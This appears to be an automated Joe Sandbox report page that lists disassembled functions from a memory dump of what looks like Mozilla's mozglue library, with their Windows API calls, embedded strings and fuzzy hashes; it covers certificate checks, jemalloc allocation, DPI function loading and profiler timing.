Instruction ID: c70f7b0014de6bf0712a0679b104543844e637476a44415563b729195d90ac36
Opcode Fuzzy Hash: 9b90fbec7a2b160f5c2e822e8a31737108aee456f58e294de7c3e6444003e54b
Instruction Fuzzy Hash: 6AA2B171A083808FC725DF29C48079FB7E5BFC9318F448A2DE89AA7751DB709905CB86

Function 6C5D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5D6D26

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5D6D73
free.MOZGLUE(00000000), ref: 6C5D6D80
CertGetNameStringW.CRYPT32 ref: 6C5D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5D6E34
CreateFileW.KERNEL32 ref: 6C5D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D7103
free.MOZGLUE(00000000), ref: 6C5D7153
CloseHandle.KERNEL32(?), ref: 6C5D7176
__Init_thread_footer.LIBCMT ref: 6C5D7209
__Init_thread_footer.LIBCMT ref: 6C5D723A
__Init_thread_footer.LIBCMT ref: 6C5D726B
__Init_thread_footer.LIBCMT ref: 6C5D729C
__Init_thread_footer.LIBCMT ref: 6C5D72DC
__Init_thread_footer.LIBCMT ref: 6C5D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5D73C2
VerSetConditionMask.NTDLL ref: 6C5D73F3
VerSetConditionMask.NTDLL ref: 6C5D73FF
VerSetConditionMask.NTDLL ref: 6C5D7406
VerSetConditionMask.NTDLL ref: 6C5D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5D741A
moz_xmalloc.MOZGLUE(?), ref: 6C5D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5D7598
free.MOZGLUE(00000000), ref: 6C5D75AC

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5D72C8
SHA256, xrefs: 6C5D6EC0
wintrust.dll, xrefs: 6C5D72CD
(, xrefs: 6C5D768A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction ID: 81113f8a6a90282bad42426eae7ddacb497895df6557e70750323d540c3c5d40
Opcode Fuzzy Hash: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction Fuzzy Hash: 5652F771A003159FEB21DF29CC84BAA77B8EF85708F118599E9099B640DB30BF85CF59

Function 6C5F6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5F7019
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5F7061
EnterCriticalSection.KERNEL32(?), ref: 6C5F71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5F721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F723E
EnterCriticalSection.KERNEL32(?), ref: 6C5F726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5F72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5F733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5F73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5F961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5F9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5F964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5F96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5F96DB
AcquireSRWLockExclusive.KERNEL32(6C64E804), ref: 6C5F9747
GetSystemInfo.KERNEL32(?), ref: 6C5F9792
__Init_thread_footer.LIBCMT ref: 6C5F97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C64E810,00000040), ref: 6C5F97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7B8,00001388), ref: 6C5F9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E744,00001388), ref: 6C5F984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E784,00001388), ref: 6C5F9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7DC,00001388), ref: 6C5F9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5F99A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5F9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5F9BF4
<jemalloc>, xrefs: 6C5F9B33, 6C5F9BE3
MALLOC_OPTIONS, xrefs: 6C5F97CA
MOZ_CRASH(), xrefs: 6C5F9B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5F99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5F99BD
Compile-time page size does not divide the runtime one., xrefs: 6C5F9B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F9933, 6C5F9A33, 6C5F9A4E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ea0e6cd36cb3d6a3c386395a0c3eab12c4c53034f347321a19278a589d02979d
Instruction ID: 23a1766ae9f162b74dab84abbf5989c9ed144a44939a27bba8e182ac365a04ed
Opcode Fuzzy Hash: ea0e6cd36cb3d6a3c386395a0c3eab12c4c53034f347321a19278a589d02979d
Instruction Fuzzy Hash: 1F534C71A05B018FD718CF29C980615BBE1BF86728F29C66DE8798B791D771E842CF81

Function 6C600DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C600F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C600F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C600FB7
EnterCriticalSection.KERNEL32(?), ref: 6C600FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C601031
LeaveCriticalSection.KERNEL32(?), ref: 6C6010D0
EnterCriticalSection.KERNEL32(?), ref: 6C60117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C601C39
EnterCriticalSection.KERNEL32(6C64E744), ref: 6C603391
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C6033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C603431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6037A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C603793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C603A02
<jemalloc>, xrefs: 6C603941, 6C6039F1
MALLOC_OPTIONS, xrefs: 6C6035FE
MOZ_CRASH(), xrefs: 6C603950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6037D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6037BD
Compile-time page size does not divide the runtime one., xrefs: 6C603946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C603559, 6C60382D, 6C603848

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
Instruction ID: bcbbc3892483b7fbe976a6511f1f06722e6382b14feb3429a0e28ec6d556b748
Opcode Fuzzy Hash: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
Instruction Fuzzy Hash: 8B537F71B057018FD708CF29C680615FBE1BF89328F29C6ADE869AB791D771E841CB85

Function 6C6255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5FE1A5), ref: 6C625606
LoadLibraryW.KERNEL32(gdi32,?,6C5FE1A5), ref: 6C62560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C625633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C62563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C62566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C62567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C625696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C625716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C62572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C625748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C625761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C62577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C625793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6257FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6C625637
EnableNonClientDpiScaling, xrefs: 6C625666
SetWindowPos, xrefs: 6C6256F7
GetWindowDC, xrefs: 6C625710
ReleaseDC, xrefs: 6C625742
GetThreadDpiAwarenessContext, xrefs: 6C62562D
gdi32, xrefs: 6C62560A
MonitorFromWindow, xrefs: 6C62578D
GetMonitorInfoW, xrefs: 6C6257A2
GetSystemMetricsForDpi, xrefs: 6C625677
ShowWindow, xrefs: 6C6256DE
StretchDIBits, xrefs: 6C6257CC
SetWindowLongPtrW, xrefs: 6C6257B7
DeleteObject, xrefs: 6C6257F9
RegisterClassW, xrefs: 6C6256AC
GetDpiForWindow, xrefs: 6C625690
user32, xrefs: 6C625601
CreateWindowExW, xrefs: 6C6256C5
FillRect, xrefs: 6C625729
LoadCursorW, xrefs: 6C625774
LoadIconW, xrefs: 6C62575B
CreateSolidBrush, xrefs: 6C6257E4

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction ID: cba89f1ec1eb1670f240a34d2a03f70f92a1dc0406add6d97c23997835cd278d
Opcode Fuzzy Hash: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction Fuzzy Hash: 0C515A707117129BDB10AF3A8D84D2A3AF8EB9638DF50D425E921D2A55EF78C801CF6D

Function 6C6234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EE2

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6261DD
Part of subcall function 6C626180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C62622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624157

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626250
Part of subcall function 6C626180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C62484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624896
free.MOZGLUE ref: 6C62489F

Strings

, xrefs: 6C624CD2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction ID: 425deda96fb47af931c991c5e30d7d9987df69aebf97534536190ece58baefe2
Opcode Fuzzy Hash: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction Fuzzy Hash: 34F24A74908B808FC725CF29C08469AFBF1FF8A348F118A5ED99997711DB719886CF46

Function 6C60F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C60F09B

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C60F0AC

Part of subcall function 6C5E5C50: GetTickCount64.KERNEL32 ref: 6C5E5D40
Part of subcall function 6C5E5C50: EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C60F0BE

Part of subcall function 6C5E5C50: __aulldiv.LIBCMT ref: 6C5E5DB4
Part of subcall function 6C5E5C50: LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C60F155
GetCurrentThreadId.KERNEL32 ref: 6C60F1E0
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F1ED
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F212
GetCurrentThreadId.KERNEL32 ref: 6C60F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C60F248
GetCurrentThreadId.KERNEL32 ref: 6C60F2AE
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F2BB
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F2F8

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F350
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F35D
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F381
GetCurrentThreadId.KERNEL32 ref: 6C60F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F3A0
GetCurrentThreadId.KERNEL32 ref: 6C60F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F491

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C60F3CF

Part of subcall function 6C60F070: GetCurrentThreadId.KERNEL32 ref: 6C60F440
Part of subcall function 6C60F070: AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F44D
Part of subcall function 6C60F070: ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C60F4A8
GetCurrentThreadId.KERNEL32 ref: 6C60F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F561
GetCurrentThreadId.KERNEL32 ref: 6C60F577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F585
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C60F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C60F3A8
[I %d/%d] profiler_resume, xrefs: 6C60F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C60F499

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 85c3fe07f624fe5b921a155b11906340aa72459c73a728ec4b88e33eb61d495c
Instruction ID: ad7045487aed6277bf6beaaf14dbad7a4a4f551d07a14dba6afbbf3a84e9147f
Opcode Fuzzy Hash: 85c3fe07f624fe5b921a155b11906340aa72459c73a728ec4b88e33eb61d495c
Instruction Fuzzy Hash: 41D1F635704200DFDB08AF66D48479A77B5EF8736CF10C629E96593B82DB7058098BAF

Function 6C5D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D671C
GetCurrentProcess.KERNEL32 ref: 6C5D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D672F
GetCurrentProcess.KERNEL32 ref: 6C5D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5D6A80
GetSystemInfo.KERNEL32(?), ref: 6C5D6ABE
__Init_thread_footer.LIBCMT ref: 6C5D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AF7

Strings

user32.dll, xrefs: 6C5D6526
